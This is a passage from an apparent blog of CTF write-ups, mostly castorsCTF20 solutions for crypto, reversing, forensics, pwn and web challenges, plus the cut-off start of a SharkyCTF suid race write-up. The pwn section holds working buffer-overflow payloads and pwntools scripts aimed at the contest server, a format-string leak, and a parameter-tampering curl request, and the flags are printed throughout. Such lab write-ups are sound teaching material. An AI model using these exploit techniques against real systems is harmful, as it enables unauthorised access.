class="language-plaintext highlighter-rouge">.pcapng</code>, the seed sent to the server was <code class="language-plaintext highlighter-rouge">1337</code>, I wrote a little go script that generated 1500 numbers with that seed, and then a python script that xored the content of <code class="language-plaintext highlighter-rouge">flag.png</code> with those numbers:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /seed HTTP/1.1
Host: 192.168.0.2:8081
User-Agent: Go-http-client/1.1
Content-Length: 11
Content-Type: application/json
Accept-Encoding: gzip

{seed:1337}HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 5
Server: Werkzeug/1.0.1 Python/3.7.2
Date: Fri, 22 May 2020 22:47:50 GMT

"ok"
</code></pre></div></div><div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">package</span> <span class="n">main</span>

<span class="k">import</span> <span class="p">(</span>
	<span class="s">"fmt"</span>
	<span class="s">"math/rand"</span>
<span class="p">)</span>

<span class="k">func</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
	<span class="n">rand</span><span class="o">.</span><span class="n">Seed</span><span class="p">(</span><span class="m">1337</span><span class="p">)</span>
	<span class="k">for</span> <span class="n">i</span> <span class="o">:=</span> <span class="m">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="m">1500</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span> <span class="p">{</span>
		<span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="n">rand</span><span class="o">.</span><span class="n">Intn</span><span class="p">(</span><span class="m">254</span><span class="p">))</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div><div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span>
<span class="kn">import</span> <span class="n">sys</span>
<span class="kn">import</span> <span class="n">struct</span>

<span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="sh">'</span><span class="s">./xor</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">numbers</span> <span class="o">=</span> <span class="nf">list</span><span class="p">(</span><span class="nf">map</span><span class="p">(</span><span class="nb">int</span><span class="p">,</span> <span class="n">f</span><span class="p">.</span><span class="nf">read</span><span class="p">().</span><span class="nf">split</span><span class="p">()))</span>

<span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="sh">'</span><span class="s">./flag.png</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">rb</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">bytes_image</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="nf">read</span><span class="p">()</span>

<span class="n">sol</span> <span class="o">=</span> <span class="p">[]</span>

<span class="k">for</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="ow">in</span> <span class="nf">zip</span><span class="p">(</span><span class="n">bytes_image</span><span class="p">,</span> <span class="n">numbers</span><span class="p">):</span>
    <span class="n">sol</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">x</span> <span class="o">^</span> <span class="n">y</span><span class="p">)</span>

<span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="nb">buffer</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="nf">bytes</span><span class="p">(</span><span class="n">sol</span><span class="p">))</span>
</code></pre></div></div><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ go run rng.go &gt; xor
$ ./solution.py &gt; out.png
</code></pre></div></div><p><img src="/assets/files/castorsCTF20/out.png" alt="solution"/></p><h5 id="flag-6">Flag</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>castorsCTF{this_is_not_my_final_form}
</code></pre></div></div><h4 id="octopus-494-points-19-solves">Octopus (494 points 19 solves)</h4><h5 id="description-7">Description</h5><p>Author: icinta</p><p>Hope you don’t get caught in one of the binary’s tentacles!</p><p><a href="/assets/files/castorsCTF20/obfus"><code class="language-plaintext highlighter-rouge">obfus</code></a></p><h5 id="solution-7">Solution</h5><p>Opening the files in an editor, you can see that it has a <code class="language-plaintext highlighter-rouge">-----BEGIN CERTIFICATE-----</code> header and <code class="language-plaintext highlighter-rouge">-----END CERTIFICATE-----</code> footer, because the second to last line had the <code class="language-plaintext highlighter-rouge">=</code> padding from base64, I decided to base64 decode the file (with the header and footer removed).</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dC5pbml0AHR5cGUuLmVxLmZtdC5mbXQAbWFpbi5tYWluAA==
-----END CERTIFICATE-----
</code></pre></div></div><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ base64 -d no_headers
ELF&gt;0E@base64: invalid input
</code></pre></div></div><p>For some reason it said “invalid input”, however, I could already see that the little that had been decoded started with <code class="language-plaintext highlighter-rouge">ELF</code> suggesting it was an elf file. Looking at the <code class="language-plaintext highlighter-rouge">base64</code> man page, I noticed the <code class="language-plaintext highlighter-rouge">--ignore-garbage</code> option that ignored non-alphabet characters. With this, I was able to decode the file and execute it:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ base64 -di no_headers &gt; out
$ ./out
Estou procurando as palavras para falar em inglês ...
Aqui vou
[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]
</code></pre></div></div><p>The message translated (from Portuguese to English) was:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>I'm looking for the words to speak in English ...
Here you go
</code></pre></div></div><p>Because this was a reversing challenge, I opened it in <code class="language-plaintext highlighter-rouge">radare2</code> but couldn’t find anything, the binary was just loading the text it was printing from memory and nothing else, I then realised the string outputted might be encrypted, and it turns out that it is base64.</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ base64 -d &lt;&lt;&lt; Y2FzdG9yc0NURntXaDBfczQxZF9Bblk3aGxuR19CMHVUX200dEh9
castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}
</code></pre></div></div><h5 id="flag-7">Flag</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}
</code></pre></div></div><h3 id="forensics">Forensics</h3><h4 id="manipulation-50-points-151-solves">Manipulation (50 points 151 solves)</h4><h5 id="description-8">Description</h5><p>Author: icinta</p><p>One of our clients sent us the password but we got this instead. He insists the password is in the image, can you help us?</p><p><a href="/assets/files/castorsCTF20/pooh.jpg">pooh.jpg</a></p><h5 id="solution-8">Solution</h5><p>When opening the file, it looked like a hexdump, possibly one created using the tool <code class="language-plaintext highlighter-rouge">xxd</code>. The first line looked like the hexdump of a <code class="language-plaintext highlighter-rouge">jpg</code>, as it contains the string <code class="language-plaintext highlighter-rouge">Exif</code>.</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000010: 012c 0000 ffe1 20e8 4578 6966 0000 4949  .,.... .Exif..II
</code></pre></div></div><p>The last line of the hexdump looked as if it should have been the first line, as it had the offset <code class="language-plaintext highlighter-rouge">00000000</code> and also contained the magic bytes of a jpeg:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0000ccc0: f85d 21b1 ffd9                           .]!...
00000000: ffd8 ffe0 0010 4a46 4946 0001 0101 012c  ......JFIF.....,
</code></pre></div></div><p>I moved the last line to the beginning:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000000: ffd8 ffe0 0010 4a46 4946 0001 0101 012c  ......JFIF.....,
00000010: 012c 0000 ffe1 20e8 4578 6966 0000 4949  .,.... .Exif..II
</code></pre></div></div><p>And then used <code class="language-plaintext highlighter-rouge">xxd -r pooh.jpg correct.jpg</code> to convert from the hexdump back into a “binary” file.</p><p><img src="/assets/files/castorsCTF20/correct.jpg" alt="correct.jpg"/></p><h5 id="flag-8">Flag</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>castorsCTF{H3r3_Is_y0uR_Fl4gg}
</code></pre></div></div><h4 id="father-taurus-kernel-import-408-points-69-solves">Father Taurus Kernel Import! (408 points 69 solves)</h4><h5 id="description-9">Description</h5><p>Author: icinta</p><p>We found a thumb drive lying on the floor. Luckily, it wasn’t a rubber ducky or contain a ransomware; either way, we’re still suspicious. We already went ahead and created the image, help us by analyzing it.</p><p>https://bit.ly/2ZQEZyb</p><h5 id="solution-9">Solution</h5><p>To solve this challenge I tried to “grep to win”, but it didn’t work, so then I tried to grep for the base64 of the flag format and found the flag:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ grep 'castors' FloorDrive.001 # grep to win fails
$ echo -n "castorsCTF" | base64 # get the base64 of the flag format
Y2FzdG9yc0NURg==
$ grep --text -o 'Y2FzdG9yc.*' FloorDrive.001
Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==T
$ base64 -d &lt;&lt;&lt; "Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ=="
castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}
</code></pre></div></div><h5 id="flag-9">Flag</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}
</code></pre></div></div><h3 id="pwn">PWN</h3><h4 id="abcbof-50-points-184-solves">abcbof (50 points 184 solves)</h4><h5 id="description-10">Description</h5><p>Author: Lunga</p><p>nc chals20.cybercastors.com 14424</p><p><a href="/assets/files/castorsCTF20/abcbof"><code class="language-plaintext highlighter-rouge">abcbof</code></a></p><h5 id="solution-10">Solution</h5><p>Decompiling the program in ghidra gives the following main function:</p><div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">undefined8</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>

<span class="p">{</span>
  <span class="kt">int</span> <span class="n">iVar1</span><span class="p">;</span>
  <span class="kt">char</span> <span class="n">local_118</span> <span class="p">[</span><span class="mi">256</span><span class="p">];</span>
  <span class="kt">char</span> <span class="n">local_18</span> <span class="p">[</span><span class="mi">16</span><span class="p">];</span>
  
  <span class="n">printf</span><span class="p">(</span><span class="s">"Hello everyone, say your name: "</span><span class="p">);</span>
  <span class="n">gets</span><span class="p">(</span><span class="n">local_118</span><span class="p">);</span>
  <span class="n">iVar1</span> <span class="o">=</span> <span class="n">strcmp</span><span class="p">(</span><span class="s">"CyberCastors"</span><span class="p">,</span><span class="n">local_18</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">iVar1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">get_flag</span><span class="p">();</span>
  <span class="p">}</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"You lose!"</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div><p>For the <code class="language-plaintext highlighter-rouge">get_flag</code> function to run (which will print the flag), we must have the char array <code class="language-plaintext highlighter-rouge">local_18</code>, be equal to <code class="language-plaintext highlighter-rouge">CyberCastors</code>. This can be done by exploiting the use of the <code class="language-plaintext highlighter-rouge">gets</code> function.</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python -c 'print("A" * 256 + "CyberCastors")' | nc chals20.cybercastors.com 14424
Hello everyone, say your name: castorsCTF{b0f_4r3_n0t_th4t_h4rd_or_4r3_th3y?}
</code></pre></div></div><h5 id="flag-10">Flag</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>castorsCTF{b0f_4r3_n0t_th4t_h4rd_or_4r3_th3y?}
</code></pre></div></div><h4 id="babybof1-86-points-145-solves">babybof1 (86 points 145 solves)</h4><h5 id="description-11">Description</h5><p>Author: Lunga</p><p>nc chals20.cybercastors.com 14425</p><p><a href="/assets/files/castorsCTF20/babybof"><code class="language-plaintext highlighter-rouge">babybof</code></a></p><h5 id="solution-11">Solution</h5><p>Redirect using a buffer overflow the execution to the function <code class="language-plaintext highlighter-rouge">get_flag</code> located at address <code class="language-plaintext highlighter-rouge">0x004006e7</code>.</p><p>To find the location of the return pointer, I used gdb with the <code class="language-plaintext highlighter-rouge">cyclic</code> program distributed with <code class="language-plaintext highlighter-rouge">pwntools</code>.</p><p><a href="https://asciinema.org/a/9bCjH0yyOnXFtnxi6JLW4WKE2"><img src="https://asciinema.org/a/9bCjH0yyOnXFtnxi6JLW4WKE2.svg" alt="asciicast"/></a></p><p>I then a little <code class="language-plaintext highlighter-rouge">pwntools</code> script to get the flag:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *

GET_FLAG = 0x004006e7

#r = process("./babybof")
r = remote('chals20.cybercastors.com', 14425)

r.sendline(b"A" * 264 + p64(GET_FLAG))
r.interactive()
</code></pre></div></div><p><a href="https://asciinema.org/a/Od5SRI0eGqWBWOa1zUgiCLNxz"><img src="https://asciinema.org/a/Od5SRI0eGqWBWOa1zUgiCLNxz.svg" alt="asciicast"/></a></p><h5 id="flag-11">Flag</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}
</code></pre></div></div><h4 id="babybof2-267-points-109-solves">babybof2 (267 points 109 solves)</h4><h5 id="description-12">Description</h5><p>Authors: icinta</p><p>nc chals20.cybercastors.com 14434</p><p><a href="/assets/files/castorsCTF20/winners"><code class="language-plaintext highlighter-rouge">winners</code></a></p><h5 id="solution-12">Solution</h5><p>The solution for this is similar to babybof1 except that the equivalent of the flag function has checks. I initially thought of bypassing these checks by just jumping inside of the <code class="language-plaintext highlighter-rouge">winnersLevel</code> function (the function that prints the flag (equivalent to <code class="language-plaintext highlighter-rouge">get_flag</code> in babybof1), after the checks. However this didn’t work because of the way the value is gotten from the stack.</p><p>To fix this I “sprayed” the stack with the value that is wanted by the <code class="language-plaintext highlighter-rouge">winnersLevel</code> function hoping that it would find the value there which it did:</p><div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span>
<span class="kn">from</span> <span class="n">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="c1">#r = process('./winners')
</span><span class="n">r</span> <span class="o">=</span> <span class="nf">remote</span><span class="p">(</span><span class="sh">'</span><span class="s">chals20.cybercastors.com</span><span class="sh">'</span><span class="p">,</span> <span class="mi">14434</span><span class="p">)</span>

<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">"</span><span class="s">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaa</span><span class="sh">"</span>
<span class="c1">#payload = b"A" * 76
</span><span class="n">payload</span> <span class="o">+=</span> <span class="nf">p32</span><span class="p">(</span><span class="mh">0x08049196</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="nf">p32</span><span class="p">(</span><span class="mh">0x182</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="nf">p32</span><span class="p">(</span><span class="mh">0x182</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="nf">p32</span><span class="p">(</span><span class="mh">0x182</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="nf">p32</span><span class="p">(</span><span class="mh">0x182</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="nf">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="c1">#attach(r)
</span><span class="n">r</span><span class="p">.</span><span class="nf">recv</span><span class="p">()</span>
<span class="n">r</span><span class="p">.</span><span class="nf">interactive</span><span class="p">()</span>
</code></pre></div></div><p><a href="https://asciinema.org/a/1yAUKuEBGpSAtUFvxpr1nWOCy"><img src="https://asciinema.org/a/1yAUKuEBGpSAtUFvxpr1nWOCy.svg" alt="asciicast"/></a></p><h5 id="flag-12">Flag</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}
</code></pre></div></div><h4 id="babyfmt-320-points-95-solves">babyfmt (320 points 95 solves)</h4><h5 id="description-13">Description</h5><p>Author: Lunga</p><p>nc chals20.cybercastors.com 14426</p><p><a href="/assets/files/castorsCTF20/babyfmt"><code class="language-plaintext highlighter-rouge">babyfmt</code></a></p><h5 id="solution-13">Solution</h5><p>Decompilation of the main function:</p><div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">undefined8</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>

<span class="p">{</span>
  <span class="kt">FILE</span> <span class="o">*</span><span class="n">__stream</span><span class="p">;</span>
  <span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
  <span class="n">undefined</span> <span class="n">local_218</span> <span class="p">[</span><span class="mi">256</span><span class="p">];</span>
  <span class="kt">char</span> <span class="n">local_118</span> <span class="p">[</span><span class="mi">264</span><span class="p">];</span>
  <span class="kt">long</span> <span class="n">local_10</span><span class="p">;</span>
  
  <span class="n">local_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
  <span class="n">__stream</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"flag.txt"</span><span class="p">,</span><span class="s">"r"</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">__stream</span> <span class="o">==</span> <span class="p">(</span><span class="kt">FILE</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
                    <span class="c1">// WARNING: Subroutine does not return</span>
    <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="n">__isoc99_fscanf</span><span class="p">(</span><span class="n">__stream</span><span class="p">,</span><span class="s">"%s"</span><span class="p">,</span><span class="n">local_218</span><span class="p">);</span>
  <span class="n">fclose</span><span class="p">(</span><span class="n">__stream</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Hello everyone, this is babyfmt! say something: "</span><span class="p">);</span>
  <span class="n">fgets</span><span class="p">(</span><span class="n">local_118</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="n">local_118</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">!=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
                    <span class="c1">// WARNING: Subroutine does not return</span>
    <span class="n">__stack_chk_fail</span><span class="p">();</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div><p>As you can see, it loads the flag into memory on the stack. This means that we can exploit the format string vulnerability later in the program to get the flag:</p><p><a href="https://asciinema.org/a/NSMvTKHGiie9eVeEqz7lllWQH"><img src="https://asciinema.org/a/NSMvTKHGiie9eVeEqz7lllWQH.svg" alt="asciicast"/></a></p><h5 id="flag-13">Flag</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}
</code></pre></div></div><h3 id="web">Web</h3><h4 id="mixed-feelings-488-points-26-solves">Mixed Feelings (488 points 26 solves)</h4><h5 id="description-14">Description</h5><p>Author: icinta</p><p>We tried to tell Jeff that one doesn’t go with the other but he didn’t listen. Can you please pwn him and reveal his dirty secrets? Also for some reason they told us he likes XXXTentacion.</p><p>http://web1.cybercastors.com:14439/</p><h5 id="solution-14">Solution</h5><p>After accessing the webpage, there is PHP-like pseudo code visible that suggests to go to <code class="language-plaintext highlighter-rouge">/.flagkindsir</code>. On that page there are 2 buttons that send post requests, one for <code class="language-plaintext highlighter-rouge">cookies</code> and the other one for <code class="language-plaintext highlighter-rouge">puppies</code>. If you change the value from one of those to <code class="language-plaintext highlighter-rouge">flag</code>, you get the flag:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -i 'http://web1.cybercastors.com:14439/.flagkindsir' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'cookies=flag'
</code></pre></div></div><h5 id="flag-14">Flag</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>castorsCTF{4_w1ld_fl4g_h0w_d1d_y0u_s0_cl3verLy_g3t_it}
</code></pre></div></div><h3 id="general">General</h3><h4 id="welcome-50-points-257-solves">Welcome! (50 points 257 solves)</h4><h5 id="description-15">Description</h5><p>Author: hasu</p><p>Oh jeez! With all the rush I must’ve dropped the welcome !flag somewhere in the server. If only we had a bot we could command to pick it up.</p><h5 id="solution-15">Solution</h5><p>To get the flag, send the message <code class="language-plaintext highlighter-rouge">!flag</code> on discord, a bot will message in DMs the flag.</p><h5 id="flag-15">Flag</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>castorsCTF{welcome_player_good_luck_and_have_fun}
</code></pre></div></div><h4 id="readme-50-points-363-solves">Readme (50 points 363 solves)</h4><h5 id="description-16">Description</h5><p>Author: hasu</p><p>I noticed something strange while reading the rules… Must be my imagination.</p><h5 id="solution-16">Solution</h5><p>On the readme page, select the text next to the prizes:</p><p><img src="/assets/files/castorsCTF20/readme.png" alt="Readme"/></p><h5 id="flag-16">Flag</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>castorsCTF{0u7_0f_5173_0u7_0f_m1nd}
</code></pre></div></div>]]></content><author><name></name></author><category term="[&quot;ctf&quot;, &quot;writeup&quot;]"/><summary type="html"><![CDATA[This weekend, with my team Pwnzorz, we played castorsCTF20, we ended up in first place and here are my writeups for the challenges I solved. If there’s anything that’s unclear, please send me an email or ask me on discord (or any platform you can find me on).]]></summary></entry><entry><title type="html">SharkyCTF 2020 The hare and the tortoise write-up</title><link href="/ctf/writeup/2020/05/11/sharkyctf2020.html" rel="alternate" type="text/html" title="SharkyCTF 2020 The hare and the tortoise write-up"/><published>2020-05-11T00:00:00+00:00</published><updated>2020-05-11T00:00:00+00:00</updated><id>/ctf/writeup/2020/05/11/sharkyctf2020</id><content type="html" xml:base="/ctf/writeup/2020/05/11/sharkyctf2020.html"><![CDATA[<p>This weekend, with my <a href="https://ctftime.org/team/118762">team</a>, I participated to <a href="https://ctfd.sharkyctf.xyz">Sharky CTF</a>. We ended up 12th. Here is my write-up for the hare and the tortoise:</p><p>I’m doing a writeup for this one because I didn’t take the intended route to solve it so it might be interesting to share.</p><h3 id="description">Description:</h3><p>Do you know Jean de La Fontaine? A friend of mine created a program mimicking the hare and the tortoise. He told me that smart tortoises always wins. I want you to be that tortoise.</p><p>Connect with ssh tortoise@172.30.0.2. Password : tortoise.</p><p>Creator : Nofix</p><p>Attached is an <a href="https://ctfd.sharkyctf.xyz/naumachia/config/22">OpenVPN config</a> which gives access to a private network from which we can reach the server.</p><h3 id="solution">Solution</h3><p>After connecting to the server (@172.30.0.2), in the home directory there are some files:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tortoise@the_hare_and_the_tortoise$ ls -l
-r-------- 1 hare hare   77 May 11 09:04 flag.txt
-r--r--r-- 1 root root 2360 May 11 09:04 main.c
-r--r--r-- 1 root root  687 May 11 09:04 semaphores.h
-r-sr-xr-x 1 hare hare 2754 May 11 09:04 the_hare_and_the_tortoise
</code></pre></div></div><p>Only the <code class="language-plaintext highlighter-rouge">hare</code> user has access to the flag (stored in <code class="language-plaintext highlighter-rouge">flag.txt</code>), and there’s a suid binary that I guess was compiled from the source code in <code class="language-plaintext highlighter-rouge">main.c</code>.</p><p>Here is the source code:</p><div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;signal.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;time.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/types.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/stat.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/mman.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/ipc.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"semaphores.h"</span><span class="cp">
</span>
<span class="c1">// The Hare and the Tortoise</span>


<span class="cp">#define handle_error(msg) \
    do { perror(msg); exit(EXIT_FAILURE); } while (0)
</span>

<span class="n">pid_t</span> <span class="n">ppid</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">sem</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="kt">char</span><span class="o">*</span> <span class="n">sem_name</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">temp_dir</span><span class="p">[</span><span class="mi">60</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="kt">char</span> <span class="n">lock</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">ppid_dir</span><span class="p">[</span><span class="mi">30</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>

<span class="kt">void</span> <span class="nf">cleanup</span><span class="p">(){</span>
  <span class="k">if</span><span class="p">(</span><span class="n">sem</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">){</span>
    <span class="n">SEM_DEL</span><span class="p">(</span><span class="n">sem</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="n">rmdir</span><span class="p">(</span><span class="n">ppid_dir</span><span class="p">);</span>
  <span class="n">rmdir</span><span class="p">(</span><span class="n">sem_name</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">sigint_handler</span><span class="p">(</span><span class="kt">int</span> <span class="n">signo</span><span class="p">){</span>
  <span class="n">cleanup</span><span class="p">();</span>
  <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">alarm_handler</span><span class="p">(</span><span class="kt">int</span> <span class="n">signo</span><span class="p">){</span>
  <span class="n">cleanup</span><span class="p">();</span>
  <span class="n">kill</span><span class="p">(</span><span class="n">ppid</span><span class="p">,</span> <span class="n">SIGKILL</span><span class="p">);</span>
  <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>


<span class="kt">void</span> <span class="nf">random_string</span><span class="p">(){</span>
  <span class="cm">/* Only one execution should be allowed per term */</span>
  <span class="n">sprintf</span><span class="p">(</span><span class="n">ppid_dir</span><span class="p">,</span> <span class="s">"/tmp/%d"</span><span class="p">,</span> <span class="n">getppid</span><span class="p">());</span>
  <span class="k">if</span><span class="p">(</span><span class="n">mkdir</span><span class="p">(</span><span class="n">ppid_dir</span><span class="p">,</span> <span class="mo">0700</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">){</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"There is no need for bruteforce"</span><span class="p">);</span>
    <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="n">sprintf</span><span class="p">(</span><span class="n">temp_dir</span><span class="p">,</span> <span class="s">"/tmp/%d/XXXXXX"</span><span class="p">,</span> <span class="n">getppid</span><span class="p">());</span>
  <span class="n">sem_name</span> <span class="o">=</span> <span class="n">mkdtemp</span><span class="p">(</span><span class="n">temp_dir</span><span class="p">);</span>
  <span class="k">if</span><span class="p">(</span><span class="n">sem_name</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">){</span> <span class="n">perror</span><span class="p">(</span><span class="s">"mkdtemp failed: "</span><span class="p">);</span> <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span> <span class="p">}</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">**</span> <span class="n">argv</span><span class="p">){</span>

  <span class="k">if</span><span class="p">(</span><span class="n">argc</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">){</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Usage : %s &lt;file to read&gt;</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
    <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="n">atexit</span><span class="p">(</span><span class="n">cleanup</span><span class="p">);</span>
